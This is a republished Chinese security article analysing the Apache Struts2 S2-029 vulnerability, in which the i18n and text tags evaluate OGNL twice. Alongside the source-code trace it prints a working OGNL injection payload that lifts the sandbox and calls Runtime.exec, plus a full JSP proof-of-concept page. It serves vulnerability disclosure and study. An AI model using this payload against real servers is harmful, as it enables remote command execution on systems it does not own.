s2-029 Apache Struts2 标签远程代码执行分析

>>>>

标签介绍

Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性。实现了更好的代码复用。Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求。

Struts2的标签库有一个巨大的改进之处,struts2标签库的标签不依赖于任何表现层技术,也就是说strtus2提供了大部分标签,可以在各种表现技术中使用。包括最常用的jsp页面,也可以说Velocity和FreeMarker等模板技术中的使用。

>>>>

漏洞分析

s2-029没有漏洞细节,但通过分析源码已重现漏洞。多个标签存在问题,在i18n,text等标签(可能还存在其他标签)的name属性处理的时候会经过两次ognl执行,从而导致远程代码执行。

标签使用如下所示:

<s:i18n name="%{#request.lan}">xxxxx</s:i18n>

<s:text name="%{#request.lan}">xxxxx</s:text>

上面两个标签name属性都存在问题 下面对i18n标签做分析

跟踪i18n标签name属性在代码中的处理:

org.apache.struts2.components.I18n

……

public boolean start(Writer writer) {

boolean result = super.start(writer);

try

{

String name = findString(this.name, “name”, “Resource bundle name is required. Example: foo or foo_en”);//对i18n的name属性进行ognl执行并将结果赋值给name

ResourceBundle bundle = (ResourceBundle)findValue(“getTexts(‘” + name + “‘)”);//对上面获取的name属性继续做ognl表达式执行

……

}

}

其中对findString方法进行跟踪,则可以跟踪到

com.opensymphony.xwork2.ognl.OgnlValueStack的protected Object findValue(String expr, String field, String errorMsg)方法,该方法是用来执行ognl表达式。

其中findValue方法进行跟踪,则可以跟踪到

com.opensymphony.xwork2.ognl.OgnlValueStack的public Object findValue(String expr, boolean throwExceptionOnFailure)方法,该方法也是用来执行ognl表达式。

>>>>测试流程

假设设置request的lan属性为:

‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

其中运行的ognl表达式为%{request.lan},则第一次ognl表达式执行结果为:

‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

执行完成之后name的值为:

‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

然后将name值传入下面一行代码执行ognl,其中ognl表达式变为

getText(”),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”)

从而导致命令执行在/tmp目录下生成dbapptest文件

其中poc中需要设置#_memberAccess[‘allowPrivateAccess’]=true用来授权访问private方法,#_memberAccess[‘allowStaticMethodAccess’]=true用来授权允许调用静态方法, #_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’]用来将受限的包名设置为空 #_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’]用来将受限的类名设置为空 #a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”)执行系统命令

>>>>

漏洞POC

<%@page import="java.util.HashSet"%>

<%@ page contentType=”text/html;charset=UTF-8″ language=”java” %>

<%@ taglib prefix=”s” uri=”/struts-tags” %>

<html>

<head><title>Demo jsp page</title></head>

<body>

<%

request.setAttribute(“lan”, “‘),#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/fuckxxx’),new java.lang.String(‘”);

%>

<s:i18n name=”%{#request.lan}”>xxxxx</s:i18n>

</body>

</html

原文发布于微信公众号 - 安恒信息(DBAPP2013)

原文发表时间:2016-03-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏逸鹏说道

Python3 与 C# 并发编程之~ 进程实战篇

之前说过 Queue:在 Process之间使用没问题,用到 Pool,就使用 Manager().xxx, Value和 Array,就不太一样了:

1484
来自专栏Kubernetes

Kubernetes Node Controller源码分析之配置篇

Author: xidianwangtao@gmail.com Kubernetes Node Controller源码分析之执行篇 更多关于kubern...

3618
来自专栏章鱼的慢慢技术路

一步步使用Code::Blocks进行设置断点调试程序

1753
来自专栏Android 开发学习

Android内存泄漏分析总结

1744
来自专栏CSDN技术头条

一图读懂JVM架构解析

本文阐述了JVM的构成和组件,配图清晰易懂,是学习Java开发者的入门必读文章。 每个Java开发人员都知道字节码经由JRE(Java运行时环境)执行。但他们或...

2138
来自专栏Aloys的开发之路

Java杂项

JDK JDK(Java Development Kit)是一个写Java程序所需的开发环境。它由一个处于操作系统层之上的运行环境,还有开发者编译、调试和运行J...

2927
来自专栏Pythonista

Django基础教程

URL配置(URLconf)就像Django 所支撑网站的目录。它的本质是URL与要为该URL调用的视图函数之间的映射表;你就是以这种方式告诉Django,对于...

3242
来自专栏Petrichor的专栏

git: .gitignore文件 (忽略文件)

Note: 切记目录名后面 一定要加 反斜杠 / ,不然会当成 单文件 处理。

1132
来自专栏别先生

JSch - Java实现的SFTP(文件上传详解篇)

  JSch是Java Secure Channel的缩写。JSch是一个SSH2的纯Java实现。它允许你连接到一个SSH服务器,并且可以使用端口转发,X11...

4671
来自专栏Android-JessYan

你不知道的Retrofit缓存库RxCache前言简介使用详解总结

1652

扫码关注云+社区